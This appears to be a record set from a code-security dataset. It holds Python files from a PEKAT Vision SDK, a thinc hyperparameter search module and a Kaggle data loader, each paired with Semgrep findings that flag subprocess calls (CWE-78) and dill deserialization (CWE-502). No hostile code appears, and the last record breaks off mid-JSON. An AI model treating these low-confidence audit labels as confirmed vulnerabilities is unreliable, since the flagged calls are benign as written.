response = requests.post(
url='{}/analyze_image?{}'.format(url, query),
data=data.read(),
timeout=timeout,
headers={'Content-Type': 'application/octet-stream'}
)
else:
shape = numpy_image.shape
response = requests.post(
url='{}/analyze_raw_image?width={}&height={}&{}'.format(url, shape[1], shape[0], query),
data=numpy_image.tobytes(),
headers={'Content-Type': 'application/octet-stream'},
timeout=timeout
)
if response_type == 'heatmap' or response_type == 'annotated_image':
np_arr = np.frombuffer(response.content, np.uint8)
context_base64 = response.headers.get('ContextBase64utf')
if context_base64 is None:
return response.json()
context_json = base64.b64decode(context_base64)
try:
import cv2
return cv2.imdecode(np_arr, 1), json.loads(context_json)
except ImportError:
raise OpenCVImportError()
else:
return response.json()
def __get_dist_path(self):
if self.dist_path:
if os.path.exists(self.dist_path):
return self.dist_path
else:
raise DistNotExists()
elif platform.system() == "Windows":
program_files_path = "{}\\Program Files".format(os.environ['systemdrive'])
for i in os.listdir(program_files_path):
if i.startswith("PEKAT VISION "):
return os.path.join(program_files_path, i)
raise DistNotFound()
@staticmethod
def __find_free_ports():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 0))
_, port = s.getsockname()
s.close()
return port
def __random_string(self, string_length):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(string_length))
def __check_project(self):
return os.path.exists(os.path.join(self.project_path, 'pekat_package.json'))
def __start_instance(self):
if not self.__check_project():
raise ProjectNotFound(self.project_path)
dist_path = self.__get_dist_path()
server_path = os.path.join(dist_path, "pekat_vision/pekat_vision")
self.stop_key = self.__random_string(10)
params = [
server_path,
"-data",
self.project_path,
"-port",
str(self.port),
"-host",
self.host,
"-stop_key",
self.stop_key
]
# add other arguments
if self.api_key:
params += ["-api_key", self.api_key]
if self.password:
params += ["-password", self.password]
if self.disable_code:
params += ["-disable_code", self.disable_code]
if self.tutorial_only:
params += ["-tutorial_only", self.tutorial_only]
self.process = subprocess.Popen(
params,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT
)
# wait for start
while True:
next_line = self.process.stdout.readline().decode()
if next_line == '' and self.process.poll() is not None:
break
sys.stdout.flush()
if next_line.find("__SERVER_RUNNING__") != -1:
return
if next_line.find("OSError: [Errno 48] Address already in use") != -1:
if self.port_is_defined:
raise PortIsAllocated()
else:
self.port = self.__find_free_ports()
return self.__start_instance()
raise PekatNotStarted()
def stop(self, timeout=5):
"""
Stop running instance
:param timeout: Timeout to kill process
:type timeout: int
"""
# only own subprocess (PEKAT) can be stopped
if not self.process or self.__stopping:
return
self.__stopping = True
requests.get(
url='http://{}:{}/stop?key={}'.format(self.host, self.port, self.stop_key),
timeout=timeout
)
| 298 | 29.74 | 111 | 18 | 1,978 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_1ccf1791e827ba58_d1155307", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 171, "line_end": 176, "column_start": 28, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmppq52ww6s/1ccf1791e827ba58.py", "start": {"line": 171, "col": 28, "offset": 4785}, "end": {"line": 176, "col": 18, "offset": 5031}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_1ccf1791e827ba58_eba30e87", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 184, "column_start": 24, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmppq52ww6s/1ccf1791e827ba58.py", "start": {"line": 179, "col": 24, "offset": 5107}, "end": {"line": 184, "col": 14, "offset": 5386}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_1ccf1791e827ba58_d8e0e387", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 259, "line_end": 263, "column_start": 24, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/1ccf1791e827ba58.py", "start": {"line": 259, "col": 24, "offset": 7932}, "end": {"line": 263, "col": 10, "offset": 8052}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_1ccf1791e827ba58_baa189cf", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 294, "line_end": 297, "column_start": 9, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmppq52ww6s/1ccf1791e827ba58.py", "start": {"line": 294, "col": 9, "offset": 9019}, "end": {"line": 297, "col": 10, "offset": 9158}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
259
] | [
263
] | [
24
] | [
10
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | pekat_vision_instance.py | /PekatVisionSDK/pekat_vision_instance.py | kafcha/pekat-vision-sdk-python | MIT | |
2024-11-18T19:58:00.863798+00:00 | 1,669,728,935,000 | 46148bd4a25cf1865f004d69f1b4c200dcc51acc | 3 | {
"blob_id": "46148bd4a25cf1865f004d69f1b4c200dcc51acc",
"branch_name": "refs/heads/master",
"committer_date": 1669728935000,
"content_id": "c4d82593b439a56a404b5309950fc6fbf4267b8a",
"detected_licenses": [
"MIT"
],
"directory_id": "fbbe424559f64e9a94116a07eaaa555a01b0a7bb",
"extension": "py",
"filename": "hpbff.py",
"fork_events_count": 263,
"gha_created_at": 1476901359000,
"gha_event_created_at": 1669438934000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 71386735,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6818,
"license": "MIT",
"license_type": "permissive",
"path": "/Spacy/source2.7/thinc/extra/hpbff.py",
"provenance": "stack-edu-0054.json.gz:580805",
"repo_name": "ryfeus/lambda-packs",
"revision_date": 1669728935000,
"revision_id": "cabf6e4f1970dc14302f87414f170de19944bac2",
"snapshot_id": "6544adb4dec19b8e71d75c24d8ed789b785b0369",
"src_encoding": "UTF-8",
"star_events_count": 1283,
"url": "https://raw.githubusercontent.com/ryfeus/lambda-packs/cabf6e4f1970dc14302f87414f170de19944bac2/Spacy/source2.7/thinc/extra/hpbff.py",
"visit_date": "2022-12-07T16:18:52.475504"
} | 2.609375 | stackv2 | import numpy
import numpy.random
import copy
import itertools
import dill
import tqdm
def minibatch(train_X, train_y, size=16, nr_update=1000):
with tqdm.tqdm(total=nr_update * size, leave=False) as pbar:
while nr_update >= 0:
indices = numpy.arange(len(train_X))
numpy.random.shuffle(indices)
j = 0
while j < indices.shape[0]:
slice_ = indices[j : j + size]
X = _take_slice(train_X, slice_)
y = _take_slice(train_y, slice_)
yield X, y
j += size
nr_update -= 1
if nr_update <= 0:
break
pbar.update(size)
def _take_slice(data, slice_):
if isinstance(data, list) or isinstance(data, tuple):
return [data[int(i)] for i in slice_]
else:
return data[slice_]
class BestFirstFinder(object):
def __init__(self, **param_values):
self.queue = []
self.limit = 16
self.params = param_values
self.best_acc = 0.0
self.best_i = 0
self.i = 0
self.j = 0
self.best_model = None
self.temperature = 0.0
@property
def configs(self):
keys, value_groups = zip(*self.params.items())
for values in itertools.product(*value_groups):
config = dict(zip(keys, values))
yield config
def enqueue(self, model, train_acc, check_acc):
fom = check_acc * min(check_acc / train_acc, 1.0)
self.queue.append([fom, self.i, 0, model])
if check_acc >= self.best_acc:
self.best_acc = check_acc
self.best_i = self.i
self.best_model = model
self.temperature = 0.0
else:
self.temperature += 0.01
self.j = 0
self.queue.sort(reverse=True)
self.queue = self.queue[:self.limit]
def __iter__(self):
self.queue.sort(reverse=True)
self.queue = self.queue[:self.limit]
for i in range(len(self.queue)):
self.queue[i][0] = self.queue[i][0] - 0.01
self.queue[i][-1][2]['parent'] = self.queue[i][2]
self.queue[i][2] += 1
yield self.queue[i][-1]
@property
def best(self):
return self.best_model
def resample_hyper_params(hparams, temperature):
hparams = dict(hparams)
hparams['epochs'] = hparams.get('epochs', 0) + 1
hparams['learn_rate'] = resample(hparams['learn_rate'], 1e-6, 0.1, temperature)
#hparams['beta1'] = resample(hparams.get('beta1', 0.9), 0.8, 1.0, temperature)
#hparams['beta2'] = resample(hparams.get('beta2', 0.9), 0.8, 1.0, temperature)
#hparams['L2'] = resample(hparams['L2'], 0.0, 1e-3, temperature)
#hparams['batch_size'] = int(resample(hparams['batch_size'], 10, 256, temperature))
#hparams['dropout'] = resample(hparams['dropout'], 0.05, 0.7, temperature)
return hparams
def resample(curr, min_, max_, temperature):
if temperature == 0.0:
return curr
scale = (max_ - min_) * temperature
next_ = numpy.random.normal(loc=curr, scale=scale)
return min(max_, max(min_, next_))
def train_epoch(model, sgd, hparams, train_X, train_y, dev_X, dev_y, device_id=-1,
temperature=0.0):
model, sgd, hparams = dill.loads(dill.dumps((model, sgd, hparams)))
if device_id >= 0:
device = model.to_gpu(device_id)
sgd.ops = model.ops
sgd.to_gpu()
if isinstance(train_y, numpy.ndarray):
train_y = model.ops.asarray(train_y)
dev_y = model.ops.asarray(dev_y)
hparams = resample_hyper_params(hparams, temperature)
sgd.learn_rate = hparams['learn_rate']
sgd.beta1 = hparams['beta1']
sgd.beta2 = hparams['beta2']
sgd.L2 = hparams['L2']
train_acc = 0.
train_n = 0
for X, y in minibatch(train_X, train_y, size=hparams['batch_size'], nr_update=hparams['nr_update']):
yh, finish_update = model.begin_update(X, drop=hparams['dropout'])
if hasattr(y, 'shape'):
dy = (yh-y) / y.shape[0]
train_acc += (y.argmax(axis=1) == yh.argmax(axis=1)).sum()
train_n += y.shape[0]
else:
n_y = sum(len(y_i) for y_i in y)
dy = [(yh[i]-y[i])/n_y for i in range(len(yh))]
for i in range(len(y)):
train_acc += (y[i].argmax(axis=1) == yh[i].argmax(axis=1)).sum()
train_n += n_y
finish_update(dy, sgd=sgd)
train_acc /= train_n
with model.use_params(sgd.averages):
dev_acc = model.evaluate(dev_X, dev_y)
model.to_cpu()
sgd.to_cpu()
return device_id, ((model, sgd, hparams), float(train_acc), float(dev_acc))
class DevicePool(object):
"""Synchronize GPU usage"""
def __init__(self, n):
self.devices = {i: None for i in range(n)}
def acquire(self):
for i, device in self.devices.items():
if device is None:
self.devices[i] = True
return i
else:
return None
def release(self, i):
if i in self.devices:
self.devices[i] = None
#
#def best_first_sgd(initials, train_X, train_y, dev_X, dev_y,
# get_new_model=None, get_score=None):
# if get_new_model is None:
# get_new_model = _get_new_model
# if get_score is None:
# get_score = _get_score
#
# queue = []
# for i, model in enumerate(initials):
# train_acc, model = get_new_model(model, train_X, train_y)
# check_acc = get_score(model, dev_X, dev_y)
# ratio = min(check_acc / train_acc, 1.0)
# print((model[-1], train_acc, check_acc))
# queue.append([check_acc * ratio, i, model])
#
# train_acc = 0
# limit = 8
# i = 0
# best_model = None
# best_acc = 0.0
# best_i = 0
# while best_i > (i - 100) and train_acc < 0.999:
# queue.sort(reverse=True)
# queue = queue[:limit]
# prev_score, parent, model = queue[0]
# queue[0][0] -= 0.001
# yield prev_score, parent, model
# train_acc, new_model = get_new_model(model, train_X, train_y)
# check_acc = get_score(new_model, dev_X, dev_y)
# ratio = min(check_acc / train_acc, 1.0)
#
# i += 1
# queue.append([check_acc * ratio, i, new_model])
#
# if check_acc >= best_acc:
# best_acc = check_acc
# best_i = i
# best_model = new_model
# progress = {
# 'i': i,
# 'parent': parent,
# 'prev_score': prev_score,
# 'this_score': queue[-1][0],
# 'train_acc': train_acc,
# 'check_acc': check_acc,
# 'best_acc': best_acc,
# 'hparams': new_model[-1]
# }
# yield best_model, progress
#
#
#
| 209 | 31.62 | 104 | 20 | 1,898 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-dill_471c2dd62ca63195_379cd9e8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-dill", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 103, "line_end": 103, "column_start": 27, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-dill", "path": "/tmp/tmppq52ww6s/471c2dd62ca63195.py", "start": {"line": 103, "col": 27, "offset": 3324}, "end": {"line": 103, "col": 72, "offset": 3369}, "extra": {"message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-dill_471c2dd62ca63195_c000ee3e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-dill", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 103, "line_end": 103, "column_start": 38, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-dill", "path": "/tmp/tmppq52ww6s/471c2dd62ca63195.py", "start": {"line": 103, "col": 38, "offset": 3335}, "end": {"line": 103, "col": 71, "offset": 3368}, "extra": {"message": "Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-dill",
"rules.python.lang.security.deserialization.avoid-dill"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
103,
103
] | [
103,
103
] | [
27,
38
] | [
72,
71
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `dill`, which us... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | hpbff.py | /Spacy/source2.7/thinc/extra/hpbff.py | ryfeus/lambda-packs | MIT | |
2024-11-18T19:58:01.542192+00:00 | 1,597,097,303,000 | 3ffbd54df25eea458912f7fa09ba3fd36ca5164b | 3 | {
"blob_id": "3ffbd54df25eea458912f7fa09ba3fd36ca5164b",
"branch_name": "refs/heads/master",
"committer_date": 1597097303000,
"content_id": "faa33f21fbc8ce8f5e2617794bcbbd69f8704289",
"detected_licenses": [
"MIT"
],
"directory_id": "bae5f696b76af428fb5555c147c4f1bcff1bb62e",
"extension": "py",
"filename": "kaggle_base.py",
"fork_events_count": 4,
"gha_created_at": 1519678982000,
"gha_event_created_at": 1561839217000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "MIT",
"github_id": 123030133,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8199,
"license": "MIT",
"license_type": "permissive",
"path": "/metalearn/metalearn/data_environments/kaggle_base.py",
"provenance": "stack-edu-0054.json.gz:580814",
"repo_name": "cosmicBboy/ml-research",
"revision_date": 1597097303000,
"revision_id": "04fd31f68e7a44152caf6eaaf66ab59f136dd8f5",
"snapshot_id": "1e309f881f9810e7a82a262d625db5d684752705",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/cosmicBboy/ml-research/04fd31f68e7a44152caf6eaaf66ab59f136dd8f5/metalearn/metalearn/data_environments/kaggle_base.py",
"visit_date": "2021-01-24T09:58:25.662826"
} | 2.96875 | stackv2 | """Kaggle Base Class."""
import os
import pandas as pd
import subprocess
from pathlib import Path
from .data_environment import DataEnvironment
from ..data_types import DataSourceType, FeatureType
KAGGLE_CACHE_DIR = os.environ.get("KAGGLE_CACHE_DIR", "~/.kaggle/cache")
KAGGLE_COMPETITION_URL = "https://www.kaggle.com/c"
class KaggleCompetition(object):
"""API for accessing kaggle competition data."""
def __init__(
self,
competition_id,
features,
target,
training_data_fname,
test_data_fname,
scorer=None,
file_format="csv",
cache=KAGGLE_CACHE_DIR,
custom_preprocessor=None):
"""Initialize Kaggle Competition object.
:params str competition_id: kaggle identifier for the competition. This
is a dash-delimited string, e.g. "allstate-claims-severity"
:params dict[str -> FeatureType] features: a dictionary mapping feature
column names to FeatureTypes.
:params dict[str -> TargetType] target: a dictionary mapping target
column to TargetType.
:params str training_data_fname: filename of the training set.
:params str test_data_fname: filename of the test set.
:params Scorer|None scorer: a `scorer.Scorer` named tuple that
specifies how to evaluate the performance of the dataset.
:params str file_format: currently only csv files are supported.
:params str cache: directory location for caching competition files.
:param callable|None custom_preprocessor: a function for doing custom
pre-processing on the training set. This function should take
as an argument a dataframe (containing the training/test data) and
return a dataframe with additional columns. This function should
be specified for competition datasets with more complex structures
that involve joining the training/test sets with an auxiliary data
source.
"""
self._competition_id = competition_id
self._features = features
self._target = target
self._training_data_fname = training_data_fname
self._test_data_fname = test_data_fname
self._scorer = scorer
if file_format != "csv":
raise ValueError(
"'%s' is not a valid file format, only '.csv' currently "
"supported.")
self._file_format = file_format
self._cache = Path(cache).expanduser()
self._custom_preprocessor = custom_preprocessor
if not self._cache.exists():
self._cache.mkdir()
self._feature_names, self._feature_types = map(
list, zip(*self._features.items()))
# currently only support one target.
if len(self._target) > 1:
raise ValueError(
"can only specify one target, found %s" % self.target.keys())
self._target_name = list(self._target.keys())[0]
self._target_type = self._target[self._target_name]
def _download_and_cache(self):
"""Download cache to local drive."""
if not self._dataset_filepath.exists():
self._dataset_filepath.mkdir()
if not (self._training_set_filepath.exists() and
self._test_set_filepath.exists()):
subprocess.call(
self._download_api_cmd(), cwd=self._dataset_filepath)
@property
def dataset_name(self):
return "kaggle.%s" % self._competition_id.replace("-", "_")
@property
def url(self):
"""Return url to kaggle dataset."""
return "%s/%s" % (KAGGLE_COMPETITION_URL, self._competition_id)
@property
def scorer(self):
"""Return Scorer object."""
return self._scorer
@property
def _dataset_filepath(self):
return self._cache / self._competition_id
@property
def _training_set_filepath(self):
return self._dataset_filepath / self._training_data_fname
@property
def _test_set_filepath(self):
return self._dataset_filepath / self._test_data_fname
@property
def _datetime_features(self):
return [k for k, v in self._features.items() if v is FeatureType.DATE]
def _download_api_cmd(self):
"""Download and cache the competition files in cache directory.
Note: this command line call checks whether dataset already downloaded
and skips if true.
"""
return [
"kaggle",
"competitions",
"download",
self._competition_id,
]
def get_training_data(self, n_samples=None):
"""Return a dataframe containing the training set.
:returns: tuple of arrays of training data. First element is an array
of features, second is an array of targets.
"""
dataset = pd.read_csv(
self._training_set_filepath, parse_dates=self._datetime_features,
nrows=n_samples)
if self._custom_preprocessor:
dataset = self._custom_preprocessor(dataset)
feature_data = dataset[self._feature_names].values
target_data = dataset[[i for i in self._target]].values
if target_data.shape[1] == 1:
target_data = target_data.ravel()
return feature_data, target_data
def get_test_data(self, n_samples=None):
"""Return a dataframe containing test set.
Note that this dataset does not contain targets because it is used for
evaluation on the kaggle platform. This method should only be used
when evaluating the final test set performance of a model after
hyperparameter tuning.
:returns: pandas.DataFrame of test data. Only includes features.
"""
dataset = pd.read_csv(
self._test_set_filepath, parse_dates=self._datetime_features,
nrows=n_samples)
if self._custom_preprocessor:
dataset = self._custom_preprocessor(dataset)
feature_data = dataset[self._feature_names].values
return feature_data, None
def data_env(self, n_samples=None, test_size=None, random_state=None):
"""Convert kaggle competition to data environment."""
self._download_and_cache()
# TODO: if called with test_size arg, override the fetch_test_data
# None and specify test_size and random_state. This should be used
# for partitioning a holdout test set from the training set. Still
# need to support `make_submission` and `get_submission_performance`
# methods below (should probably be pull those out into kaggle_api as
# their own functions).
if test_size:
fetch_test_data = None
else:
fetch_test_data = self.get_test_data
return DataEnvironment(
name=self.dataset_name,
source=DataSourceType.KAGGLE,
target_type=self._target_type,
feature_types=self._feature_types,
feature_indices=[i for i in range(len(self._feature_types))],
fetch_training_data=self.get_training_data,
fetch_test_data=fetch_test_data,
test_size=test_size,
random_state=random_state,
target_preprocessor=None,
scorer=self.scorer,
)
def make_submission(self):
"""Submit predictions to kaggle platform for evaluation."""
# TODO: this requires a custom function with the signature:
# (predictions) -> submission object
# where submission object is in json or csv format and is
# written to a temporary file, uploaded via
# `kaggle competitions submit` cli command and then deleted.
# This should also generate a unique submission
# id that we can use when getting submission performance
pass
def get_submission_performance(self, submission_id):
# TODO: this should take the output of `make_submission` and use the
# `kaggle competitions submissions` command to get performance metric
# for a particular submission.
pass
| 214 | 37.31 | 79 | 17 | 1,676 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_5a04fc67ef3322bb_923ac0a0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 86, "line_end": 87, "column_start": 13, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/5a04fc67ef3322bb.py", "start": {"line": 86, "col": 13, "offset": 3398}, "end": {"line": 87, "col": 70, "offset": 3484}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": 